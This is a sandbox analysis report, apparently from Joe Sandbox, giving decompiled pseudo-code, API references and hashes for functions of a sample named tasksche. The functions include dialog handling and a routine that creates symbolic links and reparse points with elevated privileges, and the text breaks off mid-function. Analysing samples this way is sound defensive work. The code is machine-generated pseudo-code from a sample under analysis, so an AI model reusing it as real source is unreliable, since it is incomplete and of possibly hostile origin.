Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction ID: eb53d8fa6b9c670d76401f9b6e634384cdf5b6bc28e7f080834842f41bea832e
Opcode Fuzzy Hash: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction Fuzzy Hash: E6D05E366503485ADB106F716C09B763BDCD384396F104436BC1DC6150F775C5A09A48

Uniqueness

Uniqueness Score: -1.00%

Function 00408C5A Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408C5A(void* __ecx) {
				void* _t2;
				long _t3;

				_t2 =  *(__ecx + 4);
				if(_t2 != 0xffffffff) {
					_t3 = GetFileType(_t2); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x00408c5a
0x00408c60
0x00408c66
0x00408c6f
0x00408c7c
0x00408c76
0x00408c78
0x00408c78
0x00408c62
0x00408c64
0x00408c64

APIs

GetFileType.KERNELBASE(?,00408CDA,?,00408EB0,?,00000000,?,?,00000000), ref: 00408C66

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction ID: 2361e1c995e4a541e26ad64c94d2af3b89e31d8e4072a4a2db2c19a8efa4df55
Opcode Fuzzy Hash: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction Fuzzy Hash: 8EC0127151610056DF2046385A8845B376687433667789FF9E071D12E5CB3ECC56B025

Uniqueness

Uniqueness Score: -1.00%

Function 0041C993 Relevance: 1.5, APIs: 1, Instructions: 14
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0041C993(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t9;
				void* _t18;

				_push(0xc);
				_push(0x42d6f8);
				E0041FA9C(__ebx, __edi, __esi);
				E00421501();
				 *(_t18 - 4) =  *(_t18 - 4) & 0x00000000;
				_t9 = E0041C8A8(__edx,  *((intOrPtr*)(_t18 + 8))); // executed
				 *((intOrPtr*)(_t18 - 0x1c)) = _t9;
				 *(_t18 - 4) = 0xfffffffe;
				E0041C9C9();
				return E0041FAE1( *((intOrPtr*)(_t18 - 0x1c)));
			}

0x0041c993
0x0041c995
0x0041c99a
0x0041c99f
0x0041c9a4
0x0041c9ab
0x0041c9b1
0x0041c9b4
0x0041c9bb
0x0041c9c8

APIs

Part of subcall function 00421501: __lock.LIBCMT ref: 00421503

__onexit_nolock.LIBCMT ref: 0041C9AB

Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8B7
Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8C7
Part of subcall function 0041C8A8: __msize.LIBCMT ref: 0041C8E5
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C909
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C91F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C931
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C93F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C94A

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer__realloc_crt$__lock__msize__onexit_nolock
String ID:
API String ID: 1316407801-0
Opcode ID: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction ID: e58e71dbedfae0fd7c0196075773fdb904cc218e0a70426679e08a5f69f6d609
Opcode Fuzzy Hash: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction Fuzzy Hash: 8ED05B71E41605EACB10BFE6DC427CD77706F44315F60416FB018550D2C67C45C14A1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D513 Relevance: 1.5, APIs: 1, Instructions: 11
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D513(void* __edx, intOrPtr _a20, intOrPtr _a28) {
				void* _t5;

				SendDlgItemMessageW( *0x441844, 0x6a, 0x402, E0040D1DE(_a20, _a28), 0); // executed
				_t5 = E0040D116(); // executed
				return _t5;
			}

0x0040d530
0x0040d536
0x0040d53b

APIs

SendDlgItemMessageW.USER32 ref: 0040D530

Part of subcall function 0040D116: PeekMessageW.USER32 ref: 0040D127
Part of subcall function 0040D116: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
Part of subcall function 0040D116: TranslateMessage.USER32(?), ref: 0040D142
Part of subcall function 0040D116: DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchItemPeekSendTranslate
String ID:
API String ID: 4142818094-0
Opcode ID: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction ID: 888b2871e718dea131dfcf0ec1cbc21fe8f041a13ed789b986bd41985b0bed4c
Opcode Fuzzy Hash: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction Fuzzy Hash: FDC01235240300ABE7117B50DD07F1A3A62BB88B09F808039BA81380F2CEB648369A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00408C47 Relevance: 1.5, APIs: 1, Instructions: 7
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00408C47(void* __ecx) {
				int _t2;

				_t2 = SetEndOfFile( *(__ecx + 4)); // executed
				asm("sbb eax, eax");
				return  ~(_t2 - 1) + 1;
			}

0x00408c4a
0x00408c53
0x00408c56

APIs

SetEndOfFile.KERNELBASE(?,004080D7,?,?,?,?,?,?), ref: 00408C4A

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction ID: 463f2a0b6f7528456a39aa395305c1415068e572747894341c9f749ccc5f34b3
Opcode Fuzzy Hash: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction Fuzzy Hash: 80B012703E0006878E102B30CD084143910D71130630041B0600AC6061CB13C0135611

Uniqueness

Uniqueness Score: -1.00%

Function 00419C88 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00419C88(WCHAR* _a4) {
				signed int _t2;

				_t2 = SetCurrentDirectoryW(_a4); // executed
				asm("sbb eax, eax");
				return  ~( ~_t2);
			}

0x00419c8c
0x00419c94
0x00419c98

APIs

SetCurrentDirectoryW.KERNELBASE(?,0040D8E5,0042A65C,00000000,?,00000006,?,00000800), ref: 00419C8C

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction ID: 2a7281b05ebb75ae791a00df68b116ffeccc810d55834c007acaed3bb23dd98c
Opcode Fuzzy Hash: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction Fuzzy Hash: 50A012302940064F8A100B30CC0D82577506760702F0096307002C10A4CB304430A505

Uniqueness

Uniqueness Score: -1.00%

Function 0041E75F Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041E75F() {
				void* _t1;

				_t1 = E0041E6ED(0); // executed
				return _t1;
			}

0x0041e761
0x0041e767

APIs

__encode_pointer.LIBCMT ref: 0041E761

Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E6FF
Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000005,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E716
Part of subcall function 0041E6ED: RtlEncodePointer.NTDLL(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E754

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 4883469bbd1ea34a64006740ed19a0f762d603c0c8182deb4ccf55bf016c8140
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DE5E Relevance: 52.8, APIs: 27, Strings: 3, Instructions: 291
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040DE5E(void* __ecx, void* __edx, void* __eflags) {
				void* _t71;
				void* _t86;
				int _t87;
				void* _t102;
				signed int _t130;
				void* _t139;
				void* _t150;
				struct HICON__* _t151;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				void* _t159;
				void* _t163;
				signed int _t167;
				void* _t169;
				struct HWND__* _t173;
				int _t179;
				void* _t181;
				void* _t183;
				void* _t185;

				_t169 = __edx;
				_t181 = _t183 - 0x68;
				E0041AAF0(0x1a50);
				_t173 =  *(_t181 + 0x70);
				if(E004060EE(__edx, _t173,  *(_t181 + 0x74),  *(_t181 + 0x78),  *((intOrPtr*)(_t181 + 0x7c)), L"REPLACEFILEDLG", 0, 0) == 0) {
					_t71 =  *(_t181 + 0x74) - 0x110;
					if(_t71 == 0) {
						SetFocus(GetDlgItem(_t173, 0x6c));
						E00410B9C(_t181 - 0x19e8,  *((intOrPtr*)(_t181 + 0x7c)), 0x800);
						E0040A2B0(_t181 - 0x19e8, _t181 - 0x19e8, 0x800);
						SetDlgItemTextW(_t173, 0x65, _t181 - 0x19e8);
						SHGetFileInfoW(_t181 - 0x19e8, 0, _t181 - 0x9e8, 0x2b4, 0x100);
						SendDlgItemMessageW( *(_t181 + 0x70), 0x66, 0x170,  *(_t181 - 0x9e8), 0);
						_t86 = FindFirstFileW(_t181 - 0x19e8, _t181 - 0x334);
						 *(_t181 + 0x74) = _t86;
						if(_t86 != 0xffffffff) {
							FileTimeToLocalFileTime(_t181 - 0x320, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							_t102 = E0040C3BF(0x99);
							_t163 = 0x200;
							E0040BC16(_t181 - 0x734, 0x200, L"%s %s %s", _t102);
							_t185 = _t183 + 0x18;
							SetDlgItemTextW( *(_t181 + 0x70), 0x6a, _t181 - 0x734);
							FindClose( *(_t181 + 0x74));
							if(( *(_t181 - 0x334) & 0x00000010) == 0) {
								_t139 = E0041ABD0( *((intOrPtr*)(_t181 - 0x318)), 0, 0, 1);
								asm("adc edx, ebx");
								E0040D155(_t139 +  *((intOrPtr*)(_t181 - 0x314)), _t169, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								_t163 = 0x200;
								E0040BC16(_t181 - 0x734, 0x200, L"%s %s", _t181 - 0xe4);
								_t185 = _t185 + 0x14;
								SetDlgItemTextW( *(_t181 + 0x70), 0x68, _t181 - 0x734);
							}
							SendDlgItemMessageW( *(_t181 + 0x70), 0x67, 0x170,  *(_t181 - 0x9e8), 0);
							E00411346( *0x441824, _t181 + 0x48);
							FileTimeToLocalFileTime(_t181 + 0x48, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							E0040BC16(_t181 - 0x734, _t163, L"%s %s %s", E0040C3BF(0x99));
							SetDlgItemTextW( *(_t181 + 0x70), 0x6b, _t181 - 0x734);
							_t130 =  *0x44182c;
							_t167 =  *0x441828;
							if(( *(_t181 - 0x334) & 0x00000010) == 0 || (_t167 | _t130) != 0) {
								E0040D155(_t167, _t130, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								E0040BC16(_t181 - 0x734, _t163, L"%s %s", _t181 - 0xe4);
								SetDlgItemTextW( *(_t181 + 0x70), 0x69, _t181 - 0x734);
							}
						}
						L26:
						_t87 = 0;
						L27:
						goto L28;
					}
					if(_t71 != 1) {
						goto L26;
					}
					_t179 = 2;
					_t150 = ( *(_t181 + 0x78) & 0x0000ffff) - _t179;
					if(_t150 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t179);
						L13:
						_t151 = SendDlgItemMessageW(_t173, 0x66, 0x171, 0, 0);
						if(_t151 != 0) {
							DestroyIcon(_t151);
						}
						EndDialog(_t173, _t179);
						_t87 = 1;
						goto L27;
					}
					_t155 = _t150 - 0x6a;
					if(_t155 == 0) {
						_t179 = 0;
						goto L13;
					}
					_t156 = _t155 - 1;
					if(_t156 == 0) {
						_t179 = 1;
						goto L13;
					}
					_t157 = _t156 - 1;
					if(_t157 == 0) {
						_push(4);
						goto L12;
					}
					_t158 = _t157 - 1;
					if(_t158 == 0) {
						goto L13;
					}
					_t159 = _t158 - 1;
					if(_t159 == 0) {
						_push(3);
						goto L12;
					}
					if(_t159 != 1) {
						goto L26;
					}
					goto L11;
				} else {
					_t87 = 1;
					L28:
					return _t87;
				}
			}

0x0040de5e
0x0040de5f
0x0040de68
0x0040de6f
0x0040de8c
0x0040de99
0x0040de9f
0x0040df14
0x0040df2a
0x0040df38
0x0040df4d
0x0040df68
0x0040df7f
0x0040df93
0x0040df99
0x0040df9f
0x0040dfb0
0x0040dfbe
0x0040dfd7
0x0040dfea
0x0040dff3
0x0040dff7
0x0040dffd
0x0040e008
0x0040e015
0x0040e01a
0x0040e029
0x0040e02e
0x0040e03b
0x0040e052
0x0040e061
0x0040e065
0x0040e074
0x0040e081
0x0040e08e
0x0040e093
0x0040e0a2
0x0040e0a2
0x0040e0b6
0x0040e0c6
0x0040e0d3
0x0040e0e1
0x0040e0f6
0x0040e10b
0x0040e114
0x0040e118
0x0040e131
0x0040e145
0x0040e14e
0x0040e153
0x0040e159
0x0040e16c
0x0040e17b
0x0040e190
0x0040e1a4
0x0040e1a4
0x0040e159
0x0040e1a6
0x0040e1a6
0x0040e1a8
0x00000000
0x0040e1a8
0x0040dea2
0x00000000
0x00000000
0x0040deae
0x0040deaf
0x0040deb1
0x0040decb
0x0040decb
0x0040decd
0x0040decd
0x0040dece
0x0040ded8
0x0040dee0
0x0040dee3
0x0040dee3
0x0040deeb
0x0040def3
0x00000000
0x0040def3
0x0040deb3
0x0040deb6
0x0040df06
0x00000000
0x0040df06
0x0040deb8
0x0040deb9
0x0040df03
0x00000000
0x0040df03
0x0040debb
0x0040debc
0x0040defd
0x00000000
0x0040defd
0x0040debe
0x0040debf
0x00000000
0x00000000
0x0040dec1
0x0040dec2
0x0040def9
0x00000000
0x0040def9
0x0040dec5
0x00000000
0x00000000
0x00000000
0x0040de8e
0x0040de90
0x0040e1ab
0x0040e1af
0x0040e1af

APIs

SendDlgItemMessageW.USER32 ref: 0040DED8
DestroyIcon.USER32(00000000), ref: 0040DEE3
EndDialog.USER32(?,00000006), ref: 0040DEEB

Strings

%s %s, xrefs: 0040E07C, 0040E183
REPLACEFILEDLG, xrefs: 0040DE76
%s %s %s, xrefs: 0040E003, 0040E124

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DestroyDialogIconItemMessageSend
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3309745630-1840816070
Opcode ID: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction ID: 1ca02d43f13477766b0e0b2ecc80fe6690186a1d560daa565d76ee57e1f32e2a
Opcode Fuzzy Hash: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction Fuzzy Hash: 56A18272A4021CABEB21DFE0CC85FEF776DEB04704F440476BA05E60D1D6789E5A8B65

Uniqueness

Uniqueness Score: -1.00%

Function 0040690A Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 294
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040690A() {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t112;
				intOrPtr _t113;
				long _t120;
				intOrPtr _t122;
				signed int _t123;
				int _t144;
				long _t163;
				signed int _t168;
				void* _t178;
				void* _t180;
				void* _t184;
				short _t185;
				void* _t191;
				intOrPtr _t193;
				long _t194;
				short _t196;
				signed int _t222;
				void* _t227;
				void* _t229;
				void* _t230;
				void* _t242;

				E0041A4DC(E00429638, _t227);
				E0041AAF0(0x303c);
				if( *0x4335a3 == 0) {
					E00406553(L"SeRestorePrivilege");
					E00406553(L"SeCreateSymbolicLinkPrivilege");
					 *0x4335a3 = 1;
				}
				_t198 = _t227 - 0x20;
				E00406760(_t227 - 0x20, 0x1418);
				_t222 =  *(_t227 + 0x10);
				 *(_t227 - 4) =  *(_t227 - 4) & 0x00000000;
				_t5 = _t222 + 0x10f4; // 0x10f4
				E00410B9C(_t227 - 0x1024, _t5, 0x800);
				 *(_t227 + 0x10) = E0041A7AF(_t227 - 0x1024);
				_t225 = _t227 - 0x1024;
				 *((intOrPtr*)(_t227 - 0x10)) = _t227 - 0x2024;
				_t112 = E0041C81C(_t227 - 0x1024, L"\\??\\", 4);
				_t230 = _t229 + 0x10;
				asm("sbb bl, bl");
				_t191 =  ~_t112 + 1;
				if(_t191 == 0) {
					L5:
					_t113 =  *((intOrPtr*)(_t227 - 0x10));
					goto L6;
				} else {
					_t225 = _t227 - 0x101c;
					_t184 = E0041C81C(_t227 - 0x101c, L"UNC\\", 4);
					_t230 = _t230 + 0xc;
					if(_t184 != 0) {
						goto L5;
					}
					_t185 = 0x5c;
					 *((short*)(_t227 - 0x2024)) = _t185;
					_t113 = _t227 - 0x2022;
					_t225 = _t227 - 0x1016;
					L6:
					E0041A7F7(_t113, _t225);
					 *((intOrPtr*)(_t227 - 0x10)) = E0041A7AF(_t227 - 0x2024);
					if( *((char*)( *((intOrPtr*)(_t227 + 8)) + 0x518b)) != 0) {
						L16:
						E0040935F(_t191, _t198, _t222,  *(_t227 + 0xc), 1);
						__eflags =  *((char*)(_t222 + 0x10e1));
						if( *((char*)(_t222 + 0x10e1)) != 0) {
							L21:
							__eflags = CreateDirectoryW( *(_t227 + 0xc), 0);
							if(__eflags == 0) {
								L10:
								_t242 =  *(_t227 - 0x20);
								L11:
								if(_t242 == 0) {
									L14:
									_t120 = 0;
									L15:
									 *[fs:0x0] =  *((intOrPtr*)(_t227 - 0xc));
									return _t120;
								}
								_push( *(_t227 - 0x20));
								L13:
								E0041A506(_t191, _t222, _t225, _t242);
								goto L14;
							}
							_t225 = 0;
							__eflags = 0;
							L23:
							_t122 =  *((intOrPtr*)(_t222 + 0x10f0));
							__eflags = _t122 - 3;
							if(_t122 != 3) {
								__eflags = _t122 - 2;
								if(_t122 == 2) {
									L27:
									_t225 =  *(_t227 - 0x20);
									_t123 =  *(_t227 + 0x10);
									 *((short*)(_t225 + 0xa)) = _t123 + _t123;
									 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t123 +  *((intOrPtr*)(_t227 - 0x10)) + _t123 + 0x10;
									 *_t225 = 0xa000000c;
									 *((short*)(_t225 + 6)) = 0;
									 *((short*)(_t225 + 8)) = 0;
									E0041A7F7(_t225 + 0x14, _t227 - 0x1024);
									 *((short*)(_t225 + 0xc)) =  *(_t227 + 0x10) +  *(_t227 + 0x10) + 2;
									 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
									E0041A7F7(_t225 + 0x16 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
									__eflags = _t191;
									_t74 = _t191 == 0;
									__eflags = _t74;
									 *(_t225 + 0x10) = 0 | _t74;
									L28:
									_t191 = CreateFileW( *(_t227 + 0xc), 0xc0000000, 0, 0, 3, 0x2200000, 0);
									__eflags = _t191 - 0xffffffff;
									if(__eflags != 0) {
										_t144 = DeviceIoControl(_t191, 0x900a4, _t225, ( *(_t225 + 4) & 0x0000ffff) + 8, 0, 0, _t227 - 0x24, 0);
										__eflags = _t144;
										if(_t144 != 0) {
											E00408786(_t227 - 0x3048);
											 *(_t227 - 4) = 1;
											E00408A32(_t227 - 0x3048);
											 *(_t227 - 0x3044) = _t191;
											_t193 =  *((intOrPtr*)(_t227 + 8));
											asm("sbb eax, eax");
											_t88 = _t222 + 0x1040; // 0x1040
											asm("sbb eax, eax");
											_t90 = _t222 + 0x1038; // 0x1038
											_t92 = _t222 + 0x1030; // 0x1030
											asm("sbb eax, eax");
											E00408D35(_t227 - 0x3048,  ~( *(_t193 + 0x628c)) & _t92,  ~( *(_t193 + 0x6290)) & _t90,  ~( *(_t193 + 0x6294)) & _t88);
											E00408A32(_t227 - 0x3048);
											__eflags =  *((char*)(_t193 + 0x519b));
											if( *((char*)(_t193 + 0x519b)) == 0) {
												E0040908D( *(_t227 + 0xc),  *((intOrPtr*)(_t222 + 0x1c)));
											}
											 *(_t227 - 4) = 0;
											E00408C7D(_t193, _t227 - 0x3048);
											_t194 = 1;
											L37:
											_push(_t225);
											E0041A506(_t194, _t222, _t225, __eflags);
											_t120 = _t194;
											goto L15;
										}
										CloseHandle(_t191);
										E0040639F(0x14, 0,  *(_t227 + 0xc));
										_t163 = GetLastError();
										__eflags = _t163 - 0x522;
										if(_t163 == 0x522) {
											_t163 = E00401B9B(0x16);
										}
										E00401000(_t163);
										E004062BA(0x4335ac, 9);
										__eflags =  *((char*)(_t222 + 0x10e1));
										_push( *(_t227 + 0xc));
										if( *((char*)(_t222 + 0x10e1)) == 0) {
											DeleteFileW();
										} else {
											RemoveDirectoryW();
										}
										_t194 = 0;
										__eflags = 0;
										goto L37;
									}
									_push(_t225);
									goto L13;
								}
								__eflags = _t122 - 1;
								if(_t122 != 1) {
									L19:
									__eflags =  *(_t227 - 0x20) - _t225;
									goto L11;
								}
								goto L27;
							}
							_t168 =  *(_t227 + 0x10);
							_t225 =  *(_t227 - 0x20);
							_t196 = _t168 + _t168;
							 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t168 +  *((intOrPtr*)(_t227 - 0x10)) + _t168 + 0xc;
							 *_t225 = 0xa0000003;
							 *((short*)(_t225 + 6)) = 0;
							 *((short*)(_t225 + 8)) = 0;
							 *((short*)(_t225 + 0xa)) = _t196;
							E0041A7F7(_t225 + 0x10, _t227 - 0x1024);
							 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
							 *((short*)(_t225 + 0xc)) = _t196 + 2;
							E0041A7F7(_t225 + 0x12 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
							goto L28;
						}
						__eflags =  *((char*)(_t222 + 0x20f4));
						if( *((char*)(_t222 + 0x20f4)) != 0) {
							goto L21;
						}
						_t225 = 0;
						_t178 = CreateFileW( *(_t227 + 0xc), 0x40000000, 0, 0, 1, 0x80, 0);
						__eflags = _t178 - 0xffffffff;
						if(_t178 != 0xffffffff) {
							CloseHandle(_t178);
							goto L23;
						}
						goto L19;
					}
					if(_t191 != 0) {
						goto L10;
					}
					_t21 = _t222 + 0x10f4; // 0x10f4
					_t225 = _t21;
					_t180 = E0040A2F5(_t21);
					_t240 = _t180;
					if(_t180 != 0) {
